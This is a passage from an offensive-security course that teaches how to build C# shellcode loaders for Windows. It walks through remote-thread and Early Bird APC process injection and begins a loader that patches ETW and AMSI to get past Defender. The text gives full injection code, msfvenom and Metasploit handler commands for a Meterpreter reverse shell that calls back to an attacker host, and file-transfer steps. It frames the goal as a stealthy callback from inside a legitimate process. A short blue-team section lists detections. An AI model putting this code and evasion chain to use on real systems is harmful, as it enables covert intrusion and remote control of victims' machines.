Layer	What it does	Loader 05 alone	Loader 06 alone
Static file scanning	Scans the binary on disk	Binary survives (no suspicious strings if shellcode is encrypted)	Binary survives
Import table analysis	Reads function names from PE header	CAUGHT: imports <code>OpenProcess</code> , <code>VirtualAllocEx</code> , <code>WriteProcessMemory</code> , <code>CreateRemoteThread</code>	CAUGHT: imports <code>CreateProcess</code> , <code>VirtualAllocEx</code> , <code>WriteProcessMemory</code> , <code>QueueUserAPC</code>
AMSI	Scans .NET code at runtime	Not triggered (shellcode is in unmanaged memory)	Not triggered

Layer	What it does	Loader 05 alone	Loader 06 alone
API hooks in ntdll.dll	Intercepts API calls	CAUGHT: hooks see the injection call sequence	CAUGHT: hooks see the injection call sequence
ETW telemetry	Logs process behavior	CAUGHT: ETW events log the injection pattern	CAUGHT: ETW events log the injection pattern
Behavioral ML	Scores process behavior	CAUGHT: injection pattern is a high-confidence detection	CAUGHT: injection pattern is a high-confidence detection

Both loaders are caught by multiple layers when used alone. The import table reveals their intent (they import functions that only injection tools use). The API hooks intercept the actual injection calls. The ETW events log the entire sequence for behavioral analysis. The ML model scores the combined behavior as malicious.

This is why these loaders are not standalone evasion tools. They are injection mechanisms that need to be combined with the evasion techniques from Documents 07 and 08 (dynamic resolution, ETW patching, AMSI patching) to work against Defender.

10.5 The Evasion Technique

The core evasion these loaders provide is not about bypassing Defender on their own. It is about changing where your shellcode runs.

Without process injection, your shellcode runs in a custom process (syscall_loader.exe, or whatever you name your binary). That process stands out because:

- It is an unknown binary that no one on the system recognizes
- It appeared recently (not installed with the OS or any known software)
- It is making network connections to an external IP address
- It has a suspicious memory layout (executable memory that was not part of the original binary)

With process injection, your shellcode runs inside a process that legitimately belongs on the system:

- explorer.exe is the Windows desktop shell. It is always running.
- svchost.exe is the service host. Multiple instances always run.
- RuntimeBroker.exe manages Windows app permissions. It is always running.

When your shellcode runs inside explorer.exe, a security analyst checking network connections sees explorer.exe connecting to an external IP. That is more normal than some random unknown binary doing the same thing. The process tree (which process started which) also looks clean because explorer.exe was already running before you injected.

The injection technique itself (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) is well-known and heavily detected. The evasion comes from combining it with other techniques that hide the injection from Defender's monitoring.

10.6 Getting the Loader Onto the Target

10.6.1 What You Need

For both loaders, you need:

1. The compiled loader binary (.exe)
2. An encrypted shellcode file (encrypted.bin from Document 06)
3. The XOR key from the encryption

10.6.2 Transfer Workflow

1. **Kali (192.168.10.200):** If you need fresh shellcode, generate it with msfvenom. If you still have encrypted.bin from Document 06, skip this step.
2. **Dev box (ammulu, 192.168.10.150):** Compile both loaders. If you need to regenerate encrypted.bin, run the XOR encoder from Document 06 on fresh shellcode. Host all files on Python HTTP server.
3. **Target (kimjongun, 192.168.10.100):** Download the files from the dev box and run them.

Compile on the dev box (ammulu). First create a project for Loader 05:

```
dotnet new console -n Loader05
```

Replace Loader05\Program.cs with the code from 05_reflective_injector.cs, then publish:

```
dotnet publish Loader05 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output05
```

The binary is at output05\Loader05.exe.

Create a second project for Loader 06:

```
dotnet new console -n Loader06
```

Replace Loader06\Program.cs with the code from 06_process_hollowing_alt.cs, then publish:

```
dotnet publish Loader06 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output06
```

The binary is at output06\Loader06.exe.

Host on the dev box (ammulu):

```
cd C:\Users\ammulu\Desktop
```

```
python -m http.server 8080
```

Download on the target (kimjongun):

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/reflective_inject.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\reflective_inject.exe"
Invoke-WebRequest -Uri "http://192.168.10.150:8080/earlybird.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\earlybird.exe"
Invoke-WebRequest -Uri "http://192.168.10.150:8080/encrypted.bin" -OutFile
↪ "C:\Users\kimjongun\Desktop\encrypted.bin"
```

Defender scans the files on disk when they are written. The .exe binaries may or may not trigger static detection depending on Defender's current signatures. The import table contains suspicious function names (WriteProcessMemory, CreateRemoteThread), which some Defender versions flag statically. The encrypted.bin file survives because XOR encryption scrambles the byte patterns.

Expect Defender to catch these loaders when you run them. The goal of this document is to teach the injection technique, not to bypass Defender. Document 10 combines injection with all the evasion techniques for a full bypass.

Reference files: [lab/loaders/05_reflective_injector.cs](#) and [lab/loaders/06_process_hollowing_alt.cs](#)

10.7 Teaching the Code

10.7.1 Part 1: Loader 05 - Remote Thread Injection

Windows API Imports

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(
    uint dwDesiredAccess,
    bool bInheritHandle,
    int dwProcessId
);
```

`OpenProcess` gives you a handle to another process. A handle is a number that represents a connection to a system resource (in this case, a process). The `dwDesiredAccess` parameter specifies what you want to do with the process. `PROCESS_ALL_ACCESS` (0x001FFFFFF) gives full permissions: read memory, write memory, create threads, and everything else. The `dwProcessId` is the PID (Process ID) of the process you want to open.

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(
    IntPtr hProcess,
    IntPtr lpAddress,
    uint dwSize,
    uint flAllocationType,
    uint flProtect
);
```

`VirtualAllocEx` is `VirtualAlloc` but for another process. The first parameter is the process handle (from `OpenProcess`). The rest are the same as `VirtualAlloc` from Document 04: the address to allocate at (`IntPtr.Zero` means let Windows choose), the size, the allocation type (`MEM_COMMIT | MEM_RESERVE`), and the memory protection (`PAGE_READWRITE` for the first step of two-step allocation).

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    byte[] lpBuffer,
    uint nSize,
    out UIntPtr lpNumberOfBytesWritten
);
```

`WriteProcessMemory` copies bytes from your process into another process. The `hProcess` is the target process handle. `lpBaseAddress` is the address in the target process where you want to write (the address returned by `VirtualAllocEx`). `lpBuffer` is the byte array containing your shellcode. `nSize` is how many bytes to write. `lpNumberOfBytesWritten` receives the actual number of bytes that were written.

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(
    IntPtr hProcess,
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    IntPtr lpThreadId
);
```

CreateRemoteThread creates a new thread inside another process. The critical parameter is `lpStartAddress`: the address in the target process where the thread starts executing. This is the address where you wrote your shellcode using WriteProcessMemory. When CreateRemoteThread runs, a new thread starts in the target process, and that thread begins executing your shellcode.

The other parameters are mostly defaults: `lpThreadAttributes` is `IntPtr.Zero` (default security), `dwStackSize` is 0 (default stack size), `lpParameter` is `IntPtr.Zero` (no parameter), `dwCreationFlags` is 0 (start immediately), and `lpThreadId` is `IntPtr.Zero` (we do not need the thread ID).

All five of these DllImport lines have a cost. When the C# compiler processes each one, it writes the function name directly into the .exe file on your hard drive in a section called the import table. You can open the compiled .exe in Notepad right now and you will literally see “OpenProcess”, “VirtualAllocEx”, “WriteProcessMemory”, “CreateRemoteThread”, and “VirtualProtectEx” sitting there as readable text inside all the garbage characters. Defender opens that .exe, reads the whole thing from start to end, and when it finds that cluster of cross-process memory and thread functions together in the import table, it recognizes it immediately as a process injection tool. This is why Loader 05 gets caught before it can do anything useful.

Finding the Target Process

```
string targetProcessName = args[0];
string shellcodePath = args[1];
string xorKeyHex = args.Length >= 3 ? args[2] : null;

Process[] processes = Process.GetProcessesByName(targetProcessName);
if (processes.Length == 0)
{
    Console.WriteLine("[+] No process found with name: " + targetProcessName);
    return;
}

Process targetProcess = processes[0];
int targetPid = targetProcess.Id;
Console.WriteLine("[+] Found target process: " + targetProcessName + " (PID: " +
    targetPid + ")");
```

The first command-line argument is the name of the process you want to inject into (without the .exe extension). Process.GetProcessesByName searches all running processes for ones with that name. If multiple processes match (for example, there are usually several svchost.exe instances), we use the first one. The `Id` property gives us the PID, which we need for OpenProcess.

Reading and Decrypting Shellcode

```
byte[] shellcode = File.ReadAllBytes(shellcodePath);
Console.WriteLine("[*] Read " + shellcode.Length + " bytes from file.");

if (xorKeyHex != null)
{
    byte[] xorKey = HexToBytes(xorKeyHex);
    shellcode = TransformData(shellcode, xorKey);
    Console.WriteLine("[+] Data decrypted.");
}
```

This is the same pattern from Loader 02 and Loader 03. Read the encrypted shellcode file, and if a XOR key was provided, decrypt it. The TransformData function XOR-decrypts the data using the multi-byte key.

The Injection Sequence

```
IntPtr processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
if (processHandle == IntPtr.Zero)
{
    Console.WriteLine("[-] Failed to open target. Do you have admin privileges?");
    return;
}
Console.WriteLine("[+] Opened target handle: 0x" + processHandle.ToString("X"));
```

Open the target process with full access. If this fails, the most common reason is insufficient privileges. To inject into system processes like svchost.exe, you need to run the loader as Administrator. If you inject into a user-level process like explorer.exe, you may not need admin privileges (it depends on the process's security settings).

```
IntPtr remoteMemory = VirtualAllocEx(
    processHandle,
    IntPtr.Zero,
    (uint)shellcode.Length,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);
```

Allocate memory inside the target process. This creates a block of memory that belongs to the target process, not to your loader process. The memory is writable but not executable (PAGE_READWRITE), following the two-step allocation pattern.

```
UIntPtr bytesWritten;
bool writeResult = WriteProcessMemory(
    processHandle,
    remoteMemory,
    shellcode,
    (uint)shellcode.Length,
    out bytesWritten
);

int shellcodeLength = shellcode.Length;
Array.Clear(shellcode, 0, shellcode.Length);
```

Copy the shellcode from your loader's memory into the target process's memory. After copying, clear the shellcode from your own process with `Array.Clear` so it does not remain in your process's managed memory. The shellcode now exists only in the target process.

```
uint oldProtect;  
VirtualProtectEx(  
    processHandle,  
    remoteMemory,  
    (UIntPtr)shellcodeLength,  
    PAGE_EXECUTE_READ,  
    out oldProtect  
);
```

Change the remote memory protection from writable to executable (`PAGE_EXECUTE_READ`). This is step 2 of two-step allocation, applied to the target process.

```
IntPtr threadHandle = CreateRemoteThread(  
    processHandle,  
    IntPtr.Zero,  
    0,  
    remoteMemory,  
    IntPtr.Zero,  
    0,  
    IntPtr.Zero  
);
```

Create a new thread inside the target process that starts executing at `remoteMemory` (where your shellcode is). After this call, the shellcode is running inside the target process. Your Meterpreter session (if the shellcode is a reverse shell) will appear to come from the target process.

```
WaitForSingleObject(threadHandle, 0xFFFFFFFF);  
CloseHandle(threadHandle);  
CloseHandle(processHandle);
```

Wait for the remote thread to finish, then close the handles. The `0xFFFFFFFF` timeout means wait forever, which keeps your loader process alive while the Meterpreter session is active.

10.7.2 The Complete Remote Thread Injection Loader

The full source code is at [lab/loaders/05_reflective_injector.cs](#).

10.7.3 Part 2: Loader 06 - Early Bird APC Injection

Structures

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]  
struct STARTUPINFO  
{  
    public int cb;  
    public string lpReserved;
```

```

    public string lpDesktop;
    public string lpTitle;
    public int dwX, dwY, dwXSize, dwYSize;
    public int dwXCountChars, dwYCountChars;
    public int dwFillAttribute;
    public int dwFlags;
    public short wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput, hStdOutput, hStdError;
}

```

STARTUPINFO is a Windows structure that tells CreateProcess how the new process's window should look. It has many fields, but for our purposes, we set them all to their default values (zeros). The only field we set is `cb` (the structure's size in bytes), which CreateProcess requires.

The `[StructLayout(LayoutKind.Sequential)]` attribute tells C# to place the structure's fields in memory in exactly the order they are declared, field by field, one after another. This matters because Windows looks at specific byte offsets to find specific values. For example, Windows knows that the process ID is at byte offset 8 inside PROCESS_INFORMATION. If C# decided to reorder or rearrange the fields to make memory access faster (which it sometimes does automatically), the bytes would be at different positions and Windows would read garbage values.

By default C# can rearrange struct fields for alignment reasons. Alignment is about placing data at memory addresses that are multiples of the data size, because CPUs read aligned data faster. A 4-byte integer loads fastest when it starts at an address divisible by 4. C# might insert padding bytes between fields or reorder them to achieve this. `LayoutKind.Sequential` turns off that optimization and says "the layout I wrote is the layout I need."

```

[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
}

```

PROCESS_INFORMATION receives information about the newly created process. After CreateProcess runs, this structure contains the process handle (`hProcess`), the main thread handle (`hThread`), the process ID (`dwProcessId`), and the main thread ID (`dwThreadId`). We need `hProcess` for VirtualAllocEx and WriteProcessMemory, and `hThread` for QueueUserAPC and ResumeThread.

Windows API Imports

```

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
static extern bool CreateProcess(
    string lpApplicationName,
    string lpCommandLine,
    IntPtr lpProcessAttributes,
    IntPtr lpThreadAttributes,
    bool bInheritHandles,
    uint dwCreationFlags,
    IntPtr lpEnvironment,
    string lpCurrentDirectory,
    IntPtr lpDesktop,
    IntPtr lpTitle,
    IntPtr hStdInput,
    IntPtr hStdOutput,
    IntPtr hStdError,
    IntPtr hProcess,
    IntPtr hThread,
    out int dwProcessId,
    out int dwThreadId)

```

```
ref STARTUPINFO lpStartupInfo,  
out PROCESS_INFORMATION lpProcessInformation  
);
```

CreateProcess starts a new process. The key parameters are `lpApplicationName` (the path to the executable, like `C:\Windows\System32\svchost.exe`) and `dwCreationFlags` (where we pass `CREATE_SUSPENDED = 0x4` to create the process in a paused state). The other parameters are mostly defaults (`IntPtr.Zero` or `null`).

```
[DllImport("kernel32.dll", SetLastError = true)]  
static extern uint QueueUserAPC(  
    IntPtr pfnAPC,  
    IntPtr hThread,  
    IntPtr dwData  
);
```

QueueUserAPC is the function that makes Early Bird injection possible. It takes three parameters:

- `pfnAPC`: the address of the function to run. We pass the address where we wrote our shellcode in the target process.
- `hThread`: the thread to queue the APC on. We pass the main thread of the suspended process.
- `dwData`: a parameter to pass to the APC function. We pass `IntPtr.Zero` because our shellcode does not need a parameter.

When the thread resumes and processes its APC queue, it calls the function at `pfnAPC` (our shellcode).

```
[DllImport("kernel32.dll", SetLastError = true)]  
static extern uint ResumeThread(IntPtr hThread);
```

ResumeThread unpauses a suspended thread. After calling this, the thread starts running. Because we queued an APC, the thread processes the APC first (running our shellcode) before continuing with the process's own initialization code.

Loader 06's imports are CreateProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, QueueUserAPC, ResumeThread, and CloseHandle. Every one of those names gets written directly into the .exe file on your hard drive when the C# compiler processes the DllImport lines. Defender opens that .exe, reads the whole thing from start to end, and the combination of cross-process memory operations with QueueUserAPC is a well-known APC injection pattern in its database. This is again why Loader 06 gets caught before it runs when used alone.

Creating the Suspended Process

```
string targetExePath = args[0];  
string shellcodePath = args[1];  
string xorKeyHex = args.Length >= 3 ? args[2] : null;
```

The first argument is the full path to a legitimate Windows executable (like `C:\Windows\System32\svchost.exe`). The second is the shellcode file. The optional third is the XOR key.

```
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
PROCESS_INFORMATION pi;

bool created = CreateProcess(
    targetExePath,
    null,
    IntPtr.Zero,
    IntPtr.Zero,
    false,
    CREATE_SUSPENDED,
    IntPtr.Zero,
    null,
    ref si,
    out pi
);
```

This creates a new process from the executable at `targetExePath`, but with the `CREATE_SUSPENDED` flag. The process is loaded into memory, but its main thread is paused. No code from the legitimate executable has run yet. After this call, `pi.hProcess` is the process handle, `pi.hThread` is the main thread handle, and `pi.dwProcessId` is the PID.

The `Marshal.SizeOf(si)` sets the `cb` field to the correct size of the `STARTUPINFO` structure. Windows checks this field to verify that the caller is using the right version of the structure.

Allocating and Writing

```
IntPtr remoteMemory = VirtualAllocEx(
    pi.hProcess,
    IntPtr.Zero,
    (uint)shellcode.Length,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);
```

Allocate memory in the suspended process. This is the same `VirtualAllocEx` call from Loader 05, but using `pi.hProcess` (the suspended process's handle) instead of a handle from `OpenProcess`.

```
UIntPtr bytesWritten;
bool written = WriteProcessMemory(
    pi.hProcess,
    remoteMemory,
    shellcode,
    (uint)shellcode.Length,
    out bytesWritten
);

int shellcodeLength = shellcode.Length;
Array.Clear(shellcode, 0, shellcode.Length);
```

Write the shellcode into the suspended process and clear it from the loader's memory. Same pattern as Loader 05.

```
uint oldProtect;  
VirtualProtectEx(pi.hProcess, remoteMemory, (UIntPtr)shellcodeLength, PAGE_EXECUTE_READ,  
↳ out oldProtect);
```

Change the memory to executable. Two-step allocation, same as before.

Queuing and Resuming

```
uint apcResult = QueueUserAPC(remoteMemory, pi.hThread, IntPtr.Zero);  
  
if (apcResult == 0)  
{  
    Console.WriteLine("[-] APC queue operation failed.");  
    CloseHandle(pi.hThread);  
    CloseHandle(pi.hProcess);  
    return;  
}  
Console.WriteLine("[+] APC queued on main thread");
```

This is the critical step that differentiates Early Bird injection from Remote Thread injection. Instead of creating a new thread (`CreateRemoteThread`), we queue our shellcode as an APC on the process's existing main thread. The address `remoteMemory` (where our shellcode is) is set as the APC function. When the thread resumes, it will call the function at this address.

```
ResumeThread(pi.hThread);  
Console.WriteLine("[+] Thread resumed. Code is executing inside " + targetExePath);
```

Resume the suspended thread. The thread processes its APC queue, finds our entry, and calls the function at `remoteMemory`. Our shellcode runs. Because the process was just created and is running a legitimate executable, it blends into the list of normal system processes.

```
CloseHandle(pi.hThread);  
CloseHandle(pi.hProcess);
```

Close the handles. The shellcode is running in the target process independently. Your loader process can exit, and the shellcode keeps running inside the legitimate process.

10.7.4 The Complete Early Bird APC Injection Loader

The full source code is at `lab/loaders/06_process_hollowing_alt.cs`.

10.8 Compilation and Execution

10.8.1 Step 1: Generate and Encrypt Shellcode (If Needed)

If you still have `encrypted.bin` on the dev box from Document 06, skip to Step 2.

On Kali (192.168.10.200):

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.200 LPORT=4444 -f raw  
↳ -o payload.bin
```

Transfer to the dev box (ammulu) and encrypt with the XOR encoder from Document 06:

```
xor_encode.exe payload.bin encrypted.bin
```

Save the printed XOR key.

10.8.2 Step 2: Compile Both Loaders on the Dev Box

On the dev box (ammulu, 192.168.10.150), open the Developer Command Prompt for Visual Studio 2022:

```
csc /unsafe /out:reflective_inject.exe 05_reflective_injector.cs  
csc /unsafe /out:earlybird.exe 06_process_hollowing_alt.cs
```

Expected output: both compile with no errors.

10.8.3 Step 3: Transfer Files to the Target

On the dev box (ammulu):

```
cd C:\Users\ammulu\Desktop  
python -m http.server 8080
```

On the target (kimjongun, 192.168.10.100):

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/reflective_inject.exe" -OutFile  
↳ "C:\Users\kimjongun\Desktop\reflective_inject.exe"  
Invoke-WebRequest -Uri "http://192.168.10.150:8080/earlybird.exe" -OutFile  
↳ "C:\Users\kimjongun\Desktop\earlybird.exe"  
Invoke-WebRequest -Uri "http://192.168.10.150:8080/encrypted.bin" -OutFile  
↳ "C:\Users\kimjongun\Desktop\encrypted.bin"
```

10.8.4 Step 4: Set Up Your Listener on Kali

On Kali (192.168.10.200):

```
msfconsole -q  
use exploit/multi/handler  
set payload windows/x64/meterpreter/reverse_tcp  
set LHOST 192.168.10.200  
set LPORT 4444  
run
```

10.8.5 Step 5: Run Loader 05 (Remote Thread Injection)

On the target (kimjongun, 192.168.10.100), open an **Administrator Command Prompt** (right-click cmd.exe, Run as administrator) because injecting into system processes requires admin privileges:

```
cd C:\Users\kimjongun\Desktop  
reflective_inject.exe explorer encrypted.bin 4A7F2B9DE3A1C084F56D1B8E97320AF6
```

Replace the hex key with your actual XOR key.

Expected behavior: Defender will likely catch this loader. You may see one of these outcomes:

1. Defender quarantines `reflective_inject.exe` before you can run it (static detection of the import table).
2. Defender blocks the injection at runtime and shows a threat notification (behavioral detection of the injection pattern).
3. Defender terminates your command prompt session after the injection attempt.

If Defender catches it, open Windows Security on the target, go to Virus & threat protection, then Protection history. You will see an entry describing the detection. Note the detection name (it will be something like “Behavior:Win32/Injector” or “Trojan:Win32/Meterpreter”).

This is expected. Loader 05 is not designed to bypass Defender on its own. It teaches the injection mechanism that you will use in Document 10 with proper evasion.

10.8.6 Step 6: Run Loader 06 (Early Bird APC Injection)

On the target (kimjongun, 192.168.10.100), in an Administrator Command Prompt:

```
cd C:\Users\kimjongun\Desktop
earlybird.exe C:\Windows\System32\svchost.exe encrypted.bin 4A7F2B9DE3A1C084F56D1B8E97320AF6
```

Replace the hex key with your actual XOR key.

Expected behavior: Same as Loader 05. Defender will likely catch this. The `CREATE_SUSPENDED + VirtualAllocEx + QueueUserAPC + ResumeThread` pattern is a known detection rule. Check Protection history to see the detection name.

If by chance Defender does not catch either loader (which can happen if a specific signature update has not been pushed yet), check your Kali listener for a Meterpreter session. If you get a session, run `sysinfo` and note that the session's process name is the target process (`explorer.exe` or `svchost.exe`), not your loader binary.

10.9 Confirming Success

Because Defender is expected to catch these loaders, success in this document means understanding how the injection works, not getting a callback.

10.9.1 What You Should Confirm:

1. **Both loaders compiled without errors** on the dev box (ammulu). This confirms the code is syntactically correct and the API imports are valid.
2. **You understand why Defender caught them.** Check Protection history on the target (kimjongun) and note the detection names. The names tell you which detection layer triggered:
 - “Behavior:Win32/...” means behavioral detection (the API call sequence was caught)
 - “Trojan:Win32/...” means the binary itself was flagged (import table or static analysis)
 - “VirTool:Win32/...” means Defender classified it as a hacking tool
3. **You understand the difference between the two techniques:**
 - Loader 05 injects into an already-running process
 - Loader 06 creates a new process and injects before it starts
4. **You understand why admin privileges are needed.** Injecting into another process requires the `SeDebugPrivilege`, which is only available to administrator-level accounts.

10.9.2 If You Want to See the Injection Work (Without Defender)

If you want to see the full injection flow without Defender blocking it, you can temporarily test on the dev box (ammulu) where Defender is disabled. Generate shellcode pointing to Kali, compile and run the loader on the dev box. You will see the injection succeed and get a Meterpreter session from the dev box (not the target). This confirms the code works correctly. Remember to set up your Kali listener first.

This is strictly for learning. The dev box is not your target. The point is to verify the injection mechanism works before combining it with evasion in Document 10.

10.10 What Was Gained

After this document, you can:

- Open another process's memory using `OpenProcess` with `PROCESS_ALL_ACCESS`
- Allocate memory inside another process using `VirtualAllocEx`
- Write data to another process's memory using `WriteProcessMemory`
- Create a thread in another process using `CreateRemoteThread`
- Create a process in a suspended state using `CreateProcess` with `CREATE_SUSPENDED`
- Queue code execution on a thread using `QueueUserAPC`
- Resume a suspended thread using `ResumeThread`
- Explain why process injection makes your shellcode harder to detect (it runs under a legitimate process name)
- Explain why these techniques are caught by Defender alone (the API call sequence is a known detection pattern)
- Explain why combining injection with ETW patching and dynamic resolution defeats Defender

You now understand all six building blocks that go into the combined evasion loader (Document 10):

Building block	What it does	Loader
XOR encryption	Defeats disk scanning	Loader 02
Dynamic resolution	Defeats import table analysis	Loader 03
NT-level functions	Reduces behavioral ML score	Loader 03
Two-step allocation	Avoids suspicious RWX memory	Loader 03
ETW patching	Disables telemetry to Defender	Loader 07
AMSI patching	Disables runtime code scanning	Loader 04
Process injection	Runs code inside legitimate process	Loaders 05/06

Document 10 combines all of these into Loader 08, the first loader that uses process injection and survives Defender completely.

10.11 Common Threats and Variations

10.11.1 Variation 1: Thread Hijacking Instead of CreateRemoteThread

Instead of creating a new thread in the target process, you can hijack an existing thread. You suspend one of the target process's threads, change its instruction pointer (the register that tells the CPU which code to run next) to point to your shellcode, and then resume the thread. The thread was already running, so no new thread is created. Defender watches for CreateRemoteThread, but thread hijacking does not call that function.

The risk with thread hijacking is stability. If the thread was in the middle of doing something important, redirecting it to your shellcode can crash the process. You need to save the thread's original state and restore it after your shellcode runs.

10.11.2 Variation 2: Module Stomping

Instead of allocating new memory in the target process, you overwrite the code section of a DLL that is already loaded in the target process but is not being actively used. This is called module stomping. The benefit is that your shellcode lives in memory that belongs to a legitimate DLL, so memory scanners see a known DLL's address range and do not flag it. The downside is that you need to find a DLL that is loaded but not actively used, and overwriting it can cause crashes if the process tries to use that DLL later.

10.11.3 Variation 3: Process Ghosting

Process ghosting is a technique where you create a temporary file, write your malicious executable to it, create a process from it, and then delete the file before the process starts. When Defender tries to scan the file, it is already deleted. The process runs from the in-memory copy of the deleted file. This defeats file-based scanning but requires very precise timing and is detected by some Defender versions that scan the file before the delete can complete.

10.12 Detection and Defense (Blue Team Perspective)

Monitor for cross-process memory operations. A process calling OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread on another process is a clear injection pattern. Legitimate programs that do this are debuggers and accessibility tools. Most business software never touches another process's memory.

Blue team action: alert on any process that calls OpenProcess with PROCESS_VM_WRITE or PROCESS_ALL_ACCESS on a process it did not create. Exception-list known legitimate tools (debuggers, antimalware).

Monitor for CREATE_SUSPENDED processes followed by APC queuing. Creating a process in a suspended state and then queuing an APC before resuming it is the Early Bird pattern. Some legitimate software (like .NET's process spawning) creates suspended processes, but adding an APC before resume is almost always malicious.

Blue team action: alert on CreateProcess(SUSPENDED) followed by QueueUserAPC to the new process's main thread, especially when VirtualAllocEx and WriteProcessMemory are called between the creation and the resume.

Use Protected Process Light (PPL). Windows can mark certain processes as "protected". Protected processes cannot be opened with PROCESS_ALL_ACCESS by non-protected processes. If you configure system services to run as PPL, injection into those services fails because OpenProcess is denied.

Blue team action: configure critical services (lsass.exe, csrss.exe, services.exe) to run with PPL protection. This prevents most injection techniques from targeting those processes.

Deploy Credential Guard. Windows Credential Guard runs the LSASS process in a virtualization-based security container. Even if an attacker gets admin access, they cannot read LSASS memory or inject into it. This protects against credential theft via process injection.

Blue team action: enable Credential Guard on all domain-joined workstations. This eliminates LSASS as a target for process injection.

10.13 What Comes Next

Document 10 ([lab/materials/10_combined_evasion.md](#)) puts everything together. Loader 08 is the combined evasion loader that patches ETW (Loader 07), patches AMSI (Loader 04), decrypts shellcode (Loader 02), resolves functions dynamically (Loader 03), and executes shellcode using process injection (Loaders 05/06). This is the first loader that uses all techniques together and survives Defender completely. You will get a callback from inside a legitimate process with Defender at full defaults and no detection alerts.

Document 10: Combined Evasion - All Techniques in One Loader

11.1 Where We Are

You finished Documents 05 through 09. You have built seven loaders:

- **Loader 01** (Document 05): Raw shellcode via DllImport. Caught by Defender.
- **Loader 02** (Document 06): XOR-encrypted shellcode. Encrypted file survived disk scanning, but the loader binary was caught.
- **Loader 03** (Document 07): Dynamic resolution, NT-level functions, two-step allocation, XOR encryption. First loader to survive Defender. You got a callback.
- **Loader 04** (Document 08): AMSI bypass. Patches AmsiScanBuffer to disable script scanning.
- **Loader 05** (Document 09): Remote thread injection into a running process. Caught by Defender alone.
- **Loader 06** (Document 09): Early Bird APC injection into a suspended process. Caught by Defender alone.
- **Loader 07** (Document 08): ETW patch. Patches NtTraceEvent to stop telemetry.

Each loader teaches one or two techniques. Each technique defeats one or two of Defender's detection layers. But no single technique defeats all six layers. This document combines everything into Loader 08, the final loader that addresses all six detection layers in the correct order and gives you a fully stealthy callback with Defender at full defaults.

Your C# knowledge at this point:

- DllImport, P/Invoke, delegates, generic methods
- VirtualAlloc, Marshal.Copy, VirtualProtect, CreateThread
- GetModuleHandle, GetProcAddress, LoadLibrary for dynamic resolution
- Building strings from integer offsets, building bytes from arithmetic
- XOR encryption and decryption
- NT-level functions: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject, NtWriteVirtualMemory
- Patching system functions (AmsiScanBuffer, NtTraceEvent)
- Cross-process operations: OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread
- APC queuing: CreateProcess(SUSPENDED), QueueUserAPC, ResumeThread

Your lab: dev box (ammulu, 192.168.10.150) for compiling (Defender disabled), target (kimjongun, 192.168.10.100) with Defender at full defaults, Kali (192.168.10.200) for shellcode and listeners.

11.2 Why This Is Next

You have all the pieces. Now you put them together.

Loader 03 survived Defender by combining XOR encryption, dynamic resolution, NT-level functions, and two-step allocation. It addressed three of Defender's six detection layers (static scanning, import table analysis, behavioral ML) and left three layers active (AMSI, ETW, API hooks). It worked because the remaining three layers did not catch it at default sensitivity.

But default sensitivity can change. Defender updates its signatures and behavioral models regularly. A loader that barely passes today might get caught after the next Defender update. Loader 08 does not rely on barely passing. It actively disables two of the three remaining layers (ETW and AMSI) and uses NT functions to reduce the impact of the third (API hooks). This gives you a much wider margin of safety.

Loader 08 also adds process injection. Loaders 05 and 06 showed you how to inject shellcode into another process, but Defender caught them because they used DllImport for all their API calls and generated ETW telemetry. Loader 08 combines injection with ETW patching and dynamic resolution, so the injection is not visible to Defender.

The result: your shellcode runs inside a legitimate process (like explorer.exe), with no ETW telemetry, no AMSI scanning, no suspicious import table, and no static signatures. This is the fully stealthy loader.

11.3 How This Works

11.3.1 Why Order Matters

Each evasion technique you learned disables or avoids one of Defender's detection layers. But some of those layers watch what other layers are doing. If you disable AMSI before disabling ETW, the act of patching AMSI generates telemetry events through ETW, and Defender reads those events and sees that something tampered with AMSI. If you decrypt your shellcode before disabling AMSI, the decrypted bytes pass through AMSI's scanner and might get flagged. Each step in the evasion chain needs the previous step to have already cleared the way.

Defender's six detection layers are not independent. They are connected, and some layers feed information to other layers. ETW sends telemetry that the behavioral ML model uses to make detection decisions. If AMSI catches something, it generates an ETW event. If an API hook catches something, it also generates an ETW event. Patching ETW first cuts off that information flow, so when you patch AMSI next, there is no telemetry system left to report what you just did. When you decrypt shellcode after that, there is no AMSI scanner left to inspect the decrypted bytes. The order creates a cascade where each step makes the next step safe.

11.3.2 The Execution Order

Loader 08 executes in this exact sequence:

```
Step 1: Patch ETW (EtwEventWrite in ntdll.dll)
      ↓ Telemetry is now dead. Defender receives no more events.
Step 2: Patch AMSI (AmsiScanBuffer in amsi.dll)
      ↓ The AMSI patch is not logged because ETW is already dead.
Step 3: Decrypt shellcode (XOR decryption in memory)
```

↓ Shellcode exists only in memory, never on disk.
 Step 4: Resolve NT functions dynamically (GetProcAddress at runtime)
 ↓ No suspicious function names in the import table.
